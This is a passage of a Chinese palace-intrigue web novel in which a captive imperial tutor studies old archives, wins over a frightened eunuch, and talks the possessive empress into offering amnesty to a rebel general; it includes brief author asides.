比起让这位爷安静地坐着胡思乱想,还不如找点事给他干。 “是,是!奴才这就去办!” 喜公公如蒙大赦,连滚带爬地退了出去。 不到半个时辰,一车又一车蒙着厚厚灰尘的卷宗,就被小太监们搬进了忘忧阁。 这些都是内务府库房里压箱底的旧物,有些竹简上的绳子都烂了,散发着一股陈腐的霉味。 顾云舟却像是见到了什么珍宝。 他挥退了所有人,独自一人坐在堆积如山的卷宗里。 他没有去看那些记录着朝堂大事的奏章,也没有去碰那些关于军国机密的文书。 他看的,全都是最不起眼,最枯燥无味的流水账。 【贞元三年,二月,尚衣监采买蜀锦三百匹,苏绣五十匹……司珍房采买东珠十斛,赤金五百两……】 【贞元四年,七月,内侍省总管李德福告老,由其义子李顺接任……】 【贞元五年,九月,修缮西苑,采买楠木两千根,琉璃瓦三万片……监工,工部员外郎,王五……】 他看得极慢,极认真。 手指拂过那些落满灰尘的名字,目光深邃,不起一丝波澜。 他像一个最高明的老猎人,在看似杂乱无章的丛林里,耐心寻找着猎物留下的蛛丝马迹。 时间一点一滴地流逝。 烛火一根接着一根地燃尽。 终于。 在第三天的深夜。 顾云舟翻动书页的手,停了下来。 他的指尖,停留在了一卷已经泛黄发脆的采买档案上。 【开元二年,六月,暴雨,宫中排水渠淤塞,采买民夫三百人入宫疏通。采买管事,黄德。】 他的目光,落在了“黄德”这个名字上。 这是一个再普通不过的名字。 (这两天都是剧情过度期哈) 第一百零九章 诱饵 顾云舟坐在一堆小山似的卷宗里,白衣胜雪。 突然,顾云舟动了。 他没有抬头,只是伸出修长的手指,指向高处书架上一卷蒙着厚厚灰尘的档案。 “公公,那一卷。对,就是颜色最深,看起来最旧的那个。” 他的声音很轻,很平淡,像是在说今天天气不错。 可这平淡的声音,却让喜公公的心猛地一抽。 他不敢怠慢,连忙搬来梯子,小心翼翼地取下那卷档案,双手捧着,恭恭敬敬地递了过去。 档案的牛皮卷绳早已朽烂,喜公公一碰,就断成了几截。 顾云舟接过来,没有立刻打开。 他只是用指腹轻轻摩挲着粗糙的竹简表面,仿佛在抚摸一件稀世珍宝。 然后,他抬眼,看向喜公公。 “公公在这宫里,多少年了?” 喜公公一愣,下意识地躬身回道:“回先生的话,奴才……奴才十二岁进宫,至今已有三十年了。” “三十年。”顾云舟点点头,语气里听不出喜怒,“不容易。” 他垂下眼帘,慢条斯理地展开竹简。 殿内再次陷入死寂。 只有竹简被翻动的沙沙声,像是毒蛇在沙地上爬行。 喜公公站在一旁,手脚都不知道该往哪里放。他感觉顾云舟的目光虽然落在书卷上,但那无形的压力却像一张网,将他整个人都罩住了。 不知过了多久,也许只是一炷香,也许是一个时辰。 顾云舟忽然发出了一声极轻的叹息。 “唉。” 这声音不大,却像一根冰冷的针,狠狠扎进了喜公公的耳朵里。 他猛地一哆嗦。 “先生?” 顾云舟没有理他,只是伸出手指,在竹简的某一行字上轻轻点了点。 “你看这个人,叫魏忠。前朝的老人了,伺候过两位皇帝,一辈子兢兢业业,滴水不漏。多体面啊。” 喜公公顺着他的手指看去,那是一个他从未听过的名字。 “可惜啊。”顾云舟摇了摇头。 “新皇登基,只因嫌他走路的声音太响,一道旨意,全家上下三百口,一夜之间,就从神京城里消失得干干净净。” 他抬起头,那双深不见底的眸子静静地看着喜公公。 “公公,你说,这伺候人的差事,是不是就像在刀尖上跳舞?跳得再好,也得看拿刀的人,什么时候想收手。” 轰! 喜公公只觉得脑子里一声巨响。 他眼前浮现出女帝那张绝美却冰冷的脸,想起卫将军孙子被打断筋骨时的惨叫,想起那些被随意拖出去杖毙的宫人。 一股寒气从尾椎骨窜起,瞬间传遍四肢百骸。 他脸上的血色褪得一干二净,嘴唇哆嗦着,一个字也说不出来。 他在这深宫里熬了三十年,靠的就是谨小慎微,靠的就是从不站队。 可现在,他被女帝亲手安排到了这位爷的身边。 他想不站队,还有可能吗? 顾云舟看着他煞白的脸,笑了笑,没再多说。 他将那卷记录着魏忠命运的档案随手放到一边,又拿起了那份写着“黄德”的采买记录,继续安静地看了起来。 可喜公公却再也无法平静了。 接下来的几天,忘忧阁里静得可怕。 顾云舟不再看那些旧档,反而让人摆上了棋盘。 他自己跟自己下棋。 黑子落下,白子跟上,从容不迫,杀气腾腾。 喜公公在一旁伺候笔墨,只觉得那棋盘上纵横交错的,不是棋子,是人命。 这天,顾云舟又下完一局,他忽然抬头。 “公公,陪我下一局吧。” 喜公公吓了一跳,连忙摆手:“奴才不敢,奴才棋艺粗鄙,怕污了先生的眼。” “无妨。”顾云舟将黑子推到他面前,“解解闷。” 喜公公不敢违抗,只能战战兢兢地坐下。 他哪里有心思下棋,每一步都走得如履薄冰,冷汗很快就浸湿了后背的衣衫。 不出半个时辰,他便被杀得溃不成军,丢盔弃甲。 “公公这棋路,倒是很稳。” 就在喜公公准备开口认输时,顾云舟却忽然说道。 喜公公一愣,抬头看向顾云舟。 顾云舟拈着一枚白子,在指间缓缓转动,目光却仿佛穿透了棋盘,看到了别的地方。 “每一步都精打细算,宁可失地,也不愿冒险。这是久在宫中,养出的好本事。” 他话锋一转,语气里带上了一丝若有若无的惋惜。 “可惜了。” “先生?”喜公公的心又提到了嗓子眼。 “公公这份心思,这份缜密,若是放在别处,执掌内务府,甚至入主司礼监,都绰绰有余。”顾云舟的目光终于落回了棋盘上,他看着喜公公被围困的残兵,轻声道,“只可惜,陛下她……如今眼里心里,只有我这一件烦心事。旁人的好,旁人的才干,她怕是瞧不见了。” 他自嘲地笑了笑,那笑容里带着三分无奈七分苦涩。 “连带着公公你,也跟着受了我的连累。明明是块美玉,却被我这颗石子,溅了一身的泥。” 这番话,说得情真意切,仿佛是肺腑之言。 可听在喜公公耳朵里,却比任何威逼利诱都更让他心惊肉跳。 是啊。 陛下眼里只有这位爷。 所以,自己这个忘忧阁总管,才有那么一点点体面。 所有人都知道,他是陛下派来看管先生的。 可换个角度想,他的所有地位,所有荣辱,不全都系在这位爷一个人的身上吗? 如果有一天,这位爷失宠了呢? 或者,这位爷……没了呢? 那他这个“前朝旧人”,这个曾经看管过废帝师的太监,在新一轮的浪潮里,会有什么下场? 他想起了魏忠。 那个走路声音太响的倒霉蛋。 喜公公的手,开始不受控制地颤抖起来。 他终于明白了。 他不是看守。 他也是囚徒。 他和顾云舟,都被锁在这座叫忘忧阁的华丽囚笼里。 唯一的区别是,顾云舟戴着的是镣铐。 而他脖子上的那根绳子,看不见,摸不着,却更致命。 “公公,该你了。” 顾云舟的声音将他从恐惧的深渊中拉了回来。 喜公公看着棋盘,只觉得眼前一片模糊,那些黑白分明的棋子,仿佛变成了一张张嘲弄他的鬼脸。 他胡乱落下一子。 啪。 顾云舟的白子紧随而至,落在了他最后一块活地的气眼上。 满盘皆输。 喜公公颓然地垂下了手。 顾云舟没有看他,只是慢条斯理地将棋子一枚一枚收回棋盒里。 整个大殿,只剩下棋子碰撞的清脆声音。 “喜公公。” 当最后一枚棋子被收好,顾云舟忽然开口。 喜公公茫然地抬起头。 顾云舟靠在椅背上,双手交叉放在身前,脸上带着一丝若有若无的微笑。 “这棋盘上,一步走错,可就再也没有回头路了。” 他顿了顿,身体微微前倾,一双眼睛像是深邃的寒潭,牢牢锁住了喜公公的视线。 “这棋盘外,也是一个道理。” “人啊,总得为自己多想一步,多看一步。” 他的声音压得很低,带着一种蛊惑人心的魔力。 “不然,等别人替你想好你的路时,可就晚了。” 说完,他不再言语,只是静静地看着喜公公,嘴角的笑意,意味深长。 喜公公呆呆地坐在原地,如遭雷击。 他看着顾云舟,又低头看了看那空无一子的棋盘。 第一百一十章 温柔乡 自那日对弈之后,喜公公就变得很奇怪。 他走路开始贴着墙根,说话声气比蚊子还小,看顾云舟的眼神,更是像见了鬼,充满了敬畏与恐惧。 送来的饭菜愈发精致,伺候的宫女愈发战战兢兢。 整个忘忧阁,都弥漫着一种诡异的死寂。 顾云舟对此很满意。 一根刺,扎进机器的齿轮里,就算一时半会弄不坏它,也能让它运转得磕磕绊绊,心惊胆战。 他要的就是这种效果。 他依旧每日翻着那些积了灰的旧档案,人事任免,宫廷采买,建筑图录,看得不亦乐乎,仿佛真的要在故纸堆里了此残生。 萧青鸾来过几次。 她不再提那些血腥的警告,也不再炫耀她的权柄。 她只是静静地坐在一旁,看他翻书,为他研墨,甚至亲自为他挑拣出书中模糊的字迹。 她表现得像一个完美的,体贴的,无可挑剔的知己。 可顾云舟只觉得,自己像个被精心饲养的宠物。 无论他做什么,她都含笑看着。 他温和回应,她就笑得更开心。 他沉默不语,她就静静陪着,不发一言。 他就像一个提线木偶,而她,就是那个手持丝线的操纵者。她享受着他的每一个反应,哪怕那反应是假的,是装的。 直到今天。 萧青鸾又来了。 但她没有像往常一样走进书房,而是站在门口,定定地看了顾云舟许久。 她的眼神里,第一次没有了那种掌控一切的满足感,反而透着一丝……困惑与失落。 她似乎终于发现,她可以掌控他的人,掌控他的衣食住行,甚至掌控他身边所有人的生死,却唯独掌控不了他的心。 他就像一汪深潭,无论她投下多大的石头,都只是“噗通”一声,然后,再无波澜。 这让她感到了挫败。 一种比顾云舟激烈反抗时,更让她难受的挫败。 “先生。”她忽然开口,声音轻得像羽毛,“你随我来。” 顾云舟放下手中的卷宗,抬起头。 他顺从地站起身,手腕上的镣铐随着他的动作,发出一声轻微的“咔啷”声,在这寂静的宫殿里,显得格外刺耳。 萧青鸾的眉头,几不可察地皱了一下。 她没说什么,转身走在前面。 顾云舟跟在她身后,穿过奢华的回廊,绕过假山。 他有些好奇,今天又要玩什么新花样? 很快,他就知道了。 萧青鸾在一处偏殿前停下了脚步。 这处偏殿,顾云舟从未踏足过。它孤零零地立在忘忧阁的一角,显得有些破败。 门是虚掩着的。 萧青鸾深吸一口气,像是下定了某种决心,伸手,推开了那扇门。 一股混合着潮湿稻草与篝火烟气的味道,扑面而来。 顾云舟的脚步,停住了。 他看着殿内的景象,饶是他两世为人,见惯了各种骚操作,此刻也差点没绷住脸上的表情。 这哪里还是什么宫殿偏厅。 这分明就是一座……破庙。 一座被原封不动,一比一复刻到皇宫里的破庙。 半塌的佛像斜倚在角落,身上布满蛛网,脸上慈悲的笑容显得诡异。地上铺着厚厚一层带着潮气的稻草,踩上去软塌塌的。 大殿正中央,一堆篝火烧得正旺,火星噼啪作响,将整个破庙照得忽明忽暗。 而篝火旁,还放着一只用叶子裹着,刚刚烤好的……。 香气四溢。 顾云舟的目光,缓缓从那只烤兔,移到了萧青鸾的身上。 然后,他彻底沉默了。 眼前的九五之尊,大炎女帝,不知何时换下了一身龙袍凤冠。 她穿着一件洗得发白的粗布衣裳,袖口和膝盖处,还故意打上了几个歪歪扭扭的补丁。那补丁的针脚,一看就是出自笨拙的宫女之手,生硬得像是在炫耀。 她白皙无瑕的脸蛋上,还刻意抹了几道灰,看起来脏兮兮的。 她就这么站在“破庙”里,站在篝火旁,脸上带着一种近乎天真的,充满期待的笑容,看着顾云舟。 那眼神,亮晶晶的。 “先生,你看。” 她献宝似的张开双臂,在原地转了一圈,展示着自己这身滑稽的装扮。 “像不像?” “像不像我们第一次见面的时候?” 顾云舟没说话。 他只是看着她,看着这个一手缔造了笼子,又亲手在笼子里搭建了一个舞台的疯子。 他忽然觉得胃里一阵翻江倒海。 这让他感到恶心。 “那时候虽然苦,可是……”萧青鸾的声音里带着一丝颤抖的怀念,“可是我们在一起,不是吗?” 她一步步走到他面前,拉起他的手。 她的手心,因为紧张而微微出汗。 “先生,那时候,你就是这么拉着我的手的。” “你还给了我半只烤兔。” 她拉着顾云舟走到篝火旁,献宝一样,将那只烤得外焦里嫩的烤兔捧到他面前。 “先生,你尝尝。我……我亲手烤的。” 她眼中的期待,几乎要溢出来。 她在期待什么? 期待他感动得热泪盈眶?期待他想起过去的美好,然后心甘情愿地留在这里? 顾云舟的内心,一片冰冷的讥诮。 角色扮演? 奥斯卡都欠你一座小金人。 但他脸上,却缓缓地,挤出了一个无比温和的笑容。 他伸出手,接过了那只滚烫的烤兔。 他没有先吃。 而是像当年在真正的破庙里那样,熟练地撕下那只最大最肥美的腿,吹了吹上面的热气,然后,递到了萧青鸾的面前。 “你先吃。” 他的声音,温柔得能滴出水来。 萧青鸾的眼睛,瞬间就红了。 她像是得到了全世界最珍贵的宝物,小心翼翼地接过那只腿,脸上绽放出从未有过的,灿烂而满足的笑容。 “嗯!” 她重重地点了点头,挨着顾云舟,在稻草上坐了下来。 她靠得很近,几乎要贴在他的身上。 她小口小口地吃着鸡腿,一边吃,一边絮絮叨叨地回忆着过去。 “先生你还记不记得,那时候我们连盐都没有,你用土办法给我弄盐吃。” “还有那次我发高烧,你抱着我,给我讲了一晚上的故事。” “还有落霞谷的星星,比神京城里的亮多了……” 她说的每一件事,都清晰得仿佛就发生在昨天。 顾云舟静静地听着,手里拿着剩下的烤鸡,偶尔撕下一小块,放进嘴里,机械地咀嚼着。 他会配合着点点头,或者发出一声表示认同的“嗯”。 他的表演,无懈可击。 萧青鸾完全沉浸在了自己编织的美梦里。她靠在顾云舟的肩上,声音越来越低,带着一丝满足的喟叹。 “先生,要是能一直像那时候一样,就好了。” 顾云舟没有回答。 他的目光,越过了跳动的篝火,越过了萧青鸾满足的侧脸,落在了那扇被推开的殿门之外。 门外,夜色已深。 一个个身披重甲的凤卫,伫立在黑暗中。 篝火的光,映在他们冰冷的盔甲上,反射出森然的,不带一丝温度的金属光泽。 温暖的篝火。 香喷喷的烤兔。 还有少女满足的梦呓。 顾云舟慢慢地,咀嚼着口中的肉。 真是一场……用回忆当墙纸的,过家家游戏啊。 而依偎在他身旁的萧青鸾,对此一无所知。 她只是觉得,今晚的先生,似乎比前些天,要温和了许多。 她的计策,好像……奏效了。 第一百一十一章 投名状 她以为,她的方法奏效了。 她以为,先生的心,终于被她捂热了一点点。 她正要说些什么,殿外却传来一阵急促的脚步声。 喜公公噗通一声跪在门前大声喊道。 “陛下!陛下不好了!” 萧青鸾脸上刚刚浮现的红晕瞬间褪去,她秀眉一蹙,冷声道:“慌慌张张,成何体统!” “陛下!”“……云梦泽急报!出大事了!” 她猛地站起身,身上那件刻意做旧的粗布衣裳,也掩不住那股从骨子里透出的杀气。 “说清楚,云梦泽出了什么事?” 跪在地上的喜公公浑身一抖,几乎是把脸贴在了冰凉的地砖上,颤声道:“回陛下,玄鸟卫八百里加急军报!盘踞在南境山区的豫王残部,不知何时流窜到了云梦泽地界!为首的……为首的悍将,是那个‘独眼龙’!” 独眼龙。 顾云舟拿着鸡腿的手,纹丝不动。 这个名字他当然记得。当初豫王大军兵败如山倒,唯有这支偏师,在主帅授首后,硬是凭借对地形的熟悉,滑得像泥鳅一样,从十万大军的围剿中逃出生天,从此消失在南境的十万大山里。 没想到,竟会出现在那。 萧青鸾的凤目瞬间眯起,寒光一闪而过。 那是她亲手为他封的领地。 她绝不允许任何人,染指那个地方。 “玄鸟卫是干什么吃的!”她厉声喝道,“区区几百残匪,竟让他们窜到了云梦泽?赤羽呢!让她提头来见!” “陛下息怒!”喜公公吓得魂飞魄散,连连叩首,“赤羽队长已亲率三千玄鸟卫赶赴云梦泽,只是……只是那云梦泽地势复杂,百姓又……又……” 他又不敢说下去了。 百姓只认云梦侯,不认朝廷。 这话谁敢说出口? 萧青鸾的胸口剧烈起伏,显然是气到了。她死死盯着顾云舟,仿佛想从他脸上看出些什么。 可顾云舟面无表情, 他只是默默地把最后一口肉吃完,慢条斯理地擦了擦手。 “陛下,”云梦泽工事,皆是臣一手规划。何处有暗道,何处利于藏兵,何处可以设伏,臣都画有图纸。若玄鸟卫需要,臣可尽数默写出来。 他的语气坦荡,充满了诚恳。 萧青鸾盯着他看了许久,眼中被复杂的情绪取代。 她怕的,从来不是独眼龙。 她怕的是,会重新点燃他心里那点已经熄灭的火。 可现在看来,他真的已经心如死灰了。 “不必了。”她冷冷地挥了挥手。 “这点小事,还用不着先生操心。朕的玄鸟卫,若是连几百个蟊贼都解决不了,也不配做朕的刀。” 她转身,大步向殿外走去。 “喜公公,将沙盘和所有军报,即刻送到御书房!” “是,陛下!” 喜公公如蒙大赦,连滚带爬地跟了出去。 偏殿内,瞬间只剩下顾云舟和门口的凤卫。 那场荒诞的“过家家”,就这么草草收场。 篝火噼啪作响,火星四溅。 顾云舟拿起手边的茶杯,轻轻抿了一口。 茶,已经凉了。 …… 接下来的日子,变得有些诡异。 云梦泽的“叛乱”,似乎被很快压了下去。 玄鸟卫封锁了方圆百里,每日都有捷报传来。 萧青鸾好像也忘了这件事。 她像是对角色扮演上了瘾。 她不再满足于偏殿那座小小的“破庙”。她命人将整个忘忧阁,都按照落霞谷的风格重新布置。名贵的紫檀木桌椅被搬走,换上了粗糙的木墩。地上铺满了柔软干燥的稻草,墙角甚至还堆着几捆柴火。 她每日都穿着那身洗得发白的粗布衣裳,学着记忆中那个落魄公主的模样,笨拙地为顾云舟洗衣,做饭。 当然,洗的是顶级的蜀锦,用的是御赐的皂角。做的饭,食材由御膳房精心挑选,送到她手上时,连葱花都切得一般大小。 她乐此不疲。 而顾云舟,就成了她这场独角戏里,唯一的观众。 他总是安静地坐在那里,看书,下棋。 她说什么,他都应着。 她做什么,他都平静地看着。 他的配合度高得吓人,眼神却是空洞。 这让喜公公的恐惧,与日俱增。 他现在是忘忧阁的总管,每日都要来向帝师汇报宫中各项事务的进展。 当然,送来的奏报,都是经过女帝筛选过的,鸡毛蒜皮,无关痛痒。 可喜公公怕啊。 他觉得自己就像是走在悬崖顶上的一根绳上。 绳子的一头,是喜怒无常的女帝。 另一头,是这个看似温顺无害,实则心比谁都黑。 他亲眼见过这个男人是如何谈笑间,将一位亲王拉下马,踩进泥里。 也亲眼见过他是如何不动声色地,让整个朝堂血流成河。 现在,这个男人被陛下用最粗暴的方式关进了笼子里。 可喜公公总觉得,这只是在蛰伏。 他觉得,自己迟早要被这两个神仙打架给殃及池鱼。 他得为自己找条后路。 这天下午,他又捧着一摞无关紧要的奏报,走进了忘忧阁。 顾云舟正坐在窗边,手里捧着一本前朝的地方志,看得津津有味。午后的阳光透过窗棂,在他身上洒下一片斑驳的光影,让他整个人看起来都带着一种不真实的柔和。 “先生,这是今日各部的平安折子,请您过目。”喜公公点头哈腰,小心翼翼地将奏报放在桌上,然后开始像往常一样,絮絮叨叨地汇报些宫中趣闻。 “……哎哟,您是不知道,内务府新来的那批小太监,笨手笨脚的,昨儿个打碎了陛下一个心爱的琉璃盏,差点没被拖出去打死,现在都被调去守河了。” “还有司农监那边,说今年风调雨顺,西苑的几株贡品牡丹,开得比往年都要好……” 顾云舟像是没听见,眼睛始终没离开过书本。 喜公公偷偷瞥了他一眼,见他没什么反应,心一横。 “说起来,这太平日子,也有不太平的地方。这几日,玄鸟卫的兄弟们可是焦头烂额,人都瘦了一圈。” 他一边说着,一边状似无意地用袖子掸了掸桌角的灰,叹了口气。 “还不是为了南边那点破事。听说当初被咱们剿灭的豫王麾下,有个叫‘独眼龙’的悍将,不知走了什么狗屎运,竟带着几百残兵,跟地里的泥鳅似的,流窜到了云梦泽附近。” “啧啧,那帮家伙,滑不溜丢的,专挑山林小道走。玄鸟卫布下天罗地网,围剿了好几次,连根毛都没抓着,反倒让他们劫了好几批官府运往南境军营的粮草……” 他说到这里,偷偷抬起眼皮,飞快地瞄了一眼顾云舟。 顾云舟翻书的手,停在了半空中。 书页在他指尖,微微颤动了一下。 成了! 喜公公心中狂跳,几乎要从嗓子眼里蹦出来,但脸上依旧是一副愁眉苦脸的抱怨模样。 顾云舟的目光,缓缓从书页上移开。 他没有看喜公公。 他的视线,落在了不远处的棋盘上。 黑子与白子,散落其上,是一局未完的残局。 独眼龙。 豫王麾下最擅长山地游击的将领,在南境山民中威望极高,当年神京之战,此人因奉命留守后方并未前来。 云梦泽。 地形复杂,河网密布,芦苇荡如同迷宫。 更重要的是,那里的百姓,只认他这个云梦侯。 他缓缓地,将那一页书翻了过去。 动作轻柔,没有发出一丝声响。 他抬起头,看向一脸“忧心忡忡”的喜公公,脸上露出一抹微笑。 “区区几百残匪,何足挂齿。陛下自有雷霆手段,想来不日便可平定。” 他顿了顿,语气里满是体恤。 “倒是苦了玄鸟卫的兄弟们,为国分忧,实在是辛苦了。” 喜公公提着的心,终于放回了肚子里。 他知道,帝师听懂了。 自己递上的这份投名状,这位爷,收下了。 “先生说的是,是奴才多嘴了。”他连忙躬身告退。 顾云舟没有再说话,只是重新将目光投向了手中的书。 一抹笑意在他嘴角一闪而逝。 第一百一十二章 以天下为注 喜公公弓着身子退出去之后,殿内又恢复了往常的安静。 顾云舟依旧坐在窗边,手里捧着那本翻了无数遍的书,思维全都在脑海里虚构的棋盘上。 豫王残部,独眼蛇,云梦泽,粮草…… 就在这时,殿门被人无声地推开。 一股熟悉的气味,涌了进来。 顾云舟没有回头。 他甚至没有动一下。 脚步声很轻,踩在厚厚的地毯上,几乎听不见。 萧青鸾来了。 她似乎很喜欢这种不期而至的突袭,喜欢欣赏他这具“提线木偶”在她的掌控下,如何反应。 可惜,今天的木偶,不想配合演出。 顾云舟缓缓将手中的书合上,发出一声轻微的啪嗒声。 他终于转过身,迎上那双深不见底的凤眸。 今天的萧青鸾,穿着一身玄色的常服,长发仅用一根简单的玉簪束起,少了平日里朝堂上的威严,却多了几分说不出的阴郁。 她就站在他面前三步远的地方,静静地看着他,不说话。 她在等。 等他像往常一样,露出那种空洞的带着一丝恰到好处惊慌的眼神。 然后她会很满意地走上前,像逗弄一只宠物一样,拍拍他的脸,或者,亲自喂他吃一块点心。 顾云舟忽然笑了。 他站起身,从容地理了理身上那件华贵却如同囚衣的锦袍,主动朝她走近了一步。 “陛下,还在为云梦泽的乱匪烦心?” 他的声音带着关切,仿佛他们依旧是那个可以随时探讨国事的帝师与学生。 萧青鸾的瞳孔,几不可察地收缩了一下。 这是这么多天以来,主动跟她交谈。 他不再是那个心如死灰的木偶了。 他活过来了。 这个认知,让萧青鸾心中瞬间一阵狂喜,但紧随而至的,是警惕。 她不喜欢这种感觉。 她喜欢那个任由她摆布的,不会思考的,只会依赖她的顾云舟。 “不过是几百个跳梁小丑,也配让朕烦心?”她声音冰冷,带着帝王特有的轻蔑,“玄鸟卫已经出动,不日便可提着独眼蛇的人头来见朕。” “是吗?”顾云舟脸上的笑意不变,“那为何玄鸟卫出动数日,非但没抓到人,反而被人家劫了南下的军粮?” 他这句话,说得云淡风轻。 却说在萧青鸾的心上。 这件事,是玄鸟卫的绝密军报,昨日深夜才刚刚送到御书房,除了她和赤羽,绝不可能有第三个人知道。 他怎么会知道? 一瞬间,无数个念头在她脑中闪过。 是赤羽背叛了她?还是这忘忧阁,有她不知道的内鬼? 她的眼神瞬间变得锐利,扫过殿内每一个低着头的宫人。 “先生的消息,倒是灵通。”她一字一顿,每个字都像是从牙缝里挤出来的。 “陛下忘了,这几日,臣看的都是宫中旧档。”顾云舟坦然地迎上她的目光,随手从桌案上拿起一本卷宗,指了指,“这是当年征讨南方山蛮的兵部记录。独眼蛇此人,臣也略有耳闻,此人是豫王麾下最擅长在山林作战的将领,狡猾如狐,在南境山民中威望不低。” 他顿了顿,继续说道:“云梦泽的地形,陛下比臣更清楚。河网密布,芦苇丛生,地势复杂,外人进去,如同闯进迷魂阵。三千玄鸟卫虽是精锐,但他们不熟地形,更无人心。想在那种地方抓住几百个如鱼得水的地头蛇,无异于大海捞针。” 萧青鸾沉默了。 她知道,他说的是对的。 这正是她这几日最头疼的地方。 “那又如何?”她冷哼一声,“朕可以再派三万,三十万大军过去!把整个云梦泽翻过来,也要把他们给朕碾成齑粉!” “然后呢?”顾云舟的语气依旧平静。 “然后,云梦泽就毁了。” 他看着她,仿佛在看一个不懂事的孩子。 “我们好不容易建起来的水利,开垦出的良田,聚拢起来的民心,都会在大军的铁蹄下,化为乌有。百姓会流离失所,他们不会感激陛下为他们剿匪,只会怨恨陛下毁了他们的家园。届时,民怨四起,南境必将大乱。” “陛下,千里之堤,溃于蚁穴。何况,这几百残匪,不是蚂蚁,是能啃食堤坝的白蚁。 “我们”……“家园”…… 这两个词,像两根柔软的针,精准地刺进了萧青鸾心中最柔软的地方。 那是她记忆里,除了落霞谷之外,最美好的地方。 是先生为她,打造出的世外桃源。 她绝不允许任何人毁了它。 她胸口剧烈起伏,眼中的杀机渐渐褪去,取而代之的是困惑。 她踱了两步,猛地回头,盯着顾云舟。 “那依先生之见,当如何?” 问出这句话的瞬间,她就后悔了。 她又一次,落入了他的节奏。 她又变成了那个凡事都要依赖他的小公主,而不是高高在上的大炎女帝。 顾云舟似乎没有察觉到她的懊恼。 他微微一笑,终于说出了他真正的目的。 “剿,不如抚。” “什么?”萧青鸾皱起眉头。 “此人盘踞云梦泽,不过是走投无路,求一条生路而已。“陛下乃天下之主,当有容人之量。与其耗费巨万,毁我家园,激起民变,不如下一道招安令。” 他看着萧青鸾震惊的眼神,不疾不徐地继续说道:“陛下可命云梦泽新县令,持诏书前往。许他独眼龙一个将军之位,将他麾下残部收编为正规军,派往南境边陲。” “如此,一则,可免刀兵之祸,保全云梦泽的安定繁荣。二则,可兵不血刃,为我大炎得一熟悉南方山川的悍将。三则,还能向天下人彰显陛下的仁德与胸襟。” “一举三得,何乐而不为?” 殿内,静得落针可闻。 萧青鸾死死地盯着顾云舟,仿佛要将他看穿。 好一个一举三得! 好一个“剿不如抚”! 这个计划,听上去天衣无缝,冠冕堂皇。 任何一个正常的君主,听到这样的建议,恐怕都会抚掌称快,立刻采纳。 但她不是正常的君主。 她是萧青鸾。 是一个靠着偏执和疯狂的疯子。 她的直觉在疯狂地尖叫。 有诈! 这个计划绝对有问题! 新县令李华是先生的门生 让他去执行这个计划,不就是等于让顾云舟的手,重新伸出了这座牢笼, 今天他能招安一个独眼龙,明天他是不是就能策反整个南境? 不行! 绝不行! 她绝不能让他和外界有任何联系! “不行!”她脱口而出,声音尖利得有些失控。 顾云舟似乎早就料到她会是这个反应,脸上没有丝毫意外。 他只是用失望的眼神看着她。 “陛下,是信不过臣,还是信不过李华?” “朕谁都信不过!”萧青鸾脱口而出,随即意识到自己失态,强行压下心头的躁动,冷冷道,“独眼龙乃是叛军余孽,手上沾满了大炎将士的鲜血,朕岂能招安此等国贼!” “陛下。”顾云舟轻叹一声,“当年太祖皇帝,不也曾招安过兵败的敌将,并委以重任,最终才开创了大炎三百年基业吗?为君者,当不计前嫌,唯才是举。若因一人之过,而弃江山社稷于不顾,恐怕非明君所为。” 他每说一个字,萧青鸾的脸色就苍白一分。 他这是在逼她。 他在用帝王的道理,用天下大义,来逼她做一个“明君”。 如果她拒绝,她就是那个因私废公,不顾大局的昏君。 可如果她同意…… 她不敢想那个后果。 看着她犹豫不决,痛苦挣扎的模样。 他知道,火候差不多了。 是时候,下最后一剂猛药了。 他走上前,近到几乎能闻到她身上味道。 他放柔了声音,语气里带着一丝诱哄,像是在对一个闹别扭的孩子说话。 “陛下若是不放心,大可派赤羽将军,亲率凤卫,全程监视招安过程。李话的任何举动,都将在陛下的掌控之中。” “诏书发出,若事成,则南境无忧,陛下圣名远扬。” “若事败,也不过是损失一纸诏书,一个虚名。届时再出兵清剿,也为时不晚。” 他凝视着她的眼睛,一字一句,清晰地说道。 “陛下,您是在用一张随时可以作废的纸,去赌一个让免于战火的机会。” “……我们好不容易才建成滴家,真的要眼睁睁看着它,毁了吗?” 最后一句话,像一道魔咒,击溃了萧青鸾的心理防线。 她的身子,微微晃了一下。 是啊。 家。 那是她和顾云舟的家。 依旧是选择题, 一边,是无法抑制的占有欲和不安全感。 另一边,是她内心深处,对那个那个地方的执着。 同意,还是拒绝? 大殿内,烛火轻轻跳动,将两人对峙的身影,在墙壁上拉扯出诡异的形状。 萧青鸾紧紧攥着拳,指甲深深掐进掌心。 那细微的刺痛,让她保持着最后一丝清醒。 她抬起头,看着眼前这个男人。 他脸上依旧是那副温和无害的笑容,眼神清澈,充满了关切与坦然。 (我把独眼龙改成了独眼蛇哈,我写完才发现之前写过这个角色(〃▽〃)) 第一百一十三章 枷锁 第二天清晨的阳光,透过窗格洒进忘忧阁时,顾云舟已经端坐在桌案前。 桌上摆着几样清淡的粥,一碗晶莹的米粥,另一碗也是。 他没有动筷。 他在等。 等那个疯子,会是一个怎样的答复。 脚步声由远及近,轻快得似一只林间的小鹿。 顾云舟眼皮都没抬一下。 “先生,早呀。” 萧青鸾带着笑意,仿佛昨夜那个猜忌的人不是她。 她今日换了一身鹅黄色的常服,长发只是简单地用一根玉簪束起,脸上未施粉黛,看起来就像一个寻常富贵人家的邻家少女,清丽又无害。 若非亲身经历,谁能想到,就是这具看似柔弱的身体里,藏着一个变态。 “陛下。”顾云舟微微颔首,语气平静。 萧青鸾自顾自地在他对面坐下,拿起一双干净的玉箸,夹了一筷子青笋,放到他碗里。 “先生想了一夜的万全之策,朕也想了一夜。”她笑盈盈地看着他,“朕觉得,先生说得对。” 顾云舟夹起那根青笋,缓缓放入口中,细细咀嚼。 来了。 他心中毫无波澜。 “先生身在庙堂之远,心忧社稷之危,实乃我大炎之幸,亦是朕之幸。”萧青鸾的赞美之词不要钱似的往外冒,眼睛亮晶晶的,充满了崇拜。 顾云舟咽下口中的食物,拿起茶杯呷了一口,淡淡道:“为陛下分忧,是臣的本分。” 内心OS:黄鼠狼给鸡拜年,不安好心。 “嗯!”萧青鸾重重点头,似乎对他的态度极为满意。她放下筷子,双手托着下巴,歪着头看他,神情天真且烂漫。 “所以,朕同意了先生‘剿不如抚’的计策。不过……” 她故意拉长了声音,像是在吊人胃口。 顾云舟抬眼看她,等着她的下文。 “不过,朕觉得先生的计划,还有几处可以完善的地方。”萧青鸾伸出一根白皙的手指。 “第一,这招安的使者,李华怕是不合适。” 顾云舟端着茶杯的手,纹丝不动。 